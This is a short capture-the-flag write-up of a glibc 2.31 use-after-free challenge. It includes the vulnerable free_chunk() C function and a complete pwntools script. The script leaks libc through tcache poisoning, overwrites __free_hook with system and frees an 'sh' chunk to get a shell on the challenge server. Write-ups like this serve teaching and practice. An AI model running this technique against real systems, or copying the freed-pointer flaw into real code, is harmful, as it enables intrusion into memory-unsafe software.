i am writing this a few months after the CTF ended, so bare with me
description
dynamic allocated misuse vulnerability using glibc version 2.31
full exploitation is achieved using tcache poisioning, overwriting __free_hook
with a pointer to system
writeup
without dropping the entire source code of the challenge, users have the option to:
- allocate a chunk (0-10) of size 0x10
- free a chunk
- edit the contents of a chunk
- view a chunk
- exit the program
here we see free_chunk():
void free_chunk() {
int index;
printf("Index (0-%d): ", MAX_CHUNKS - 1);
scanf("%d", &index);
if (index < 0 || index >= MAX_CHUNKS) {
printf("Invalid index\n");
return;
}
if (chunks[index] == NULL) {
printf("Chunk already free\n");
return;
}
free(chunks[index]);
}
solve.py
#!/usr/bin/env python3
from pwn import *
def allocate_chunk(i):
p.sendline(b"1")
p.recvuntil(b"Index (0-9): ")
p.sendline(i)
res = p.recvuntil(b"Choice: ")
if b"already" in res:
print(f"[+] chunk {i.decode()} already allocated!")
else:
print(f"[+] Allocated chunk {i.decode()}")
def free_chunk(i):
p.sendline(b"2")
p.recvuntil(b"Index (0-9): ")
p.sendline(i)
p.recvuntil(b"Choice: ")
print(f"[-] Free'd chunk {i.decode()}")
def free_exec_chunk(i):
p.sendline(b"2")
p.recvuntil(b"Index (0-9): ")
p.sendline(i)
print(f"[?] shell")
def edit_chunk(i, string):
print(f"[*] Editing chunk {i.decode()}")
p.sendline(b"3")
p.recvuntil(b"Index (0-9): ")
p.sendline(i)
p.recvuntil(b"Enter data: ")
p.sendline(string)
p.recvuntil(b"Choice: ")
def view_chunk(i):
print(f"[*] Viewing chunk {i.decode()}")
p.sendline(b"4")
p.recvuntil(b"Index (0-9): ")
p.sendline(i)
result = p.recvuntil(b"Choice: ").split(b"\n")[0]
return result
chunks = [b"\xf0\x3f\x40", b"\x08\x40\x40", b"\x28\x40\x40"]
if __name__ == "__main__":
p = remote("0.cloud.chals.io", 11289)
p.recvuntil(b"Choice: ")
for i in range(0,2,1):
allocate_chunk(str(i).encode("utf-8"))
for i in range(0,2,1):
free_chunk(str(i).encode("utf-8"))
for i in range(0,2,1):
edit_chunk(str(i).encode("utf-8"), chunks[2])
print(view_chunk(str(i).encode("utf-8"))[::-1].hex())
for i in range(2,4,1):
allocate_chunk(str(i).encode("utf-8"))
leak = view_chunk(b"3")[::-1].hex()
libc = int(leak, 16) - 0x84420
__free_hook = libc + 0x1eee48
__malloc_hook = libc + 0x1ecb70
system = libc + 0x52290
print("[+] leak:", leak)
print("[+] __free_hook:", hex(__free_hook))
print("[+] system:", hex(system))
print("[+] libc leak:", hex(libc))
free_chunk(b"2")
allocate_chunk(b"4")
allocate_chunk(b"5")
free_chunk(b"4")
free_chunk(b"5")
edit_chunk(b"4", p64(__free_hook))
print(view_chunk(b"4")[::-1].hex())
edit_chunk(b"5", p64(__free_hook))
print(view_chunk(b"5")[::-1].hex())
allocate_chunk(b"6")
allocate_chunk(b"7")
edit_chunk(b"7", p64(system))
print(view_chunk(b"7")[::-1].hex())
allocate_chunk(b"8")
edit_chunk(b"8", b"sh")
print(view_chunk(b"8"))
free_exec_chunk(b"8")
p.interactive()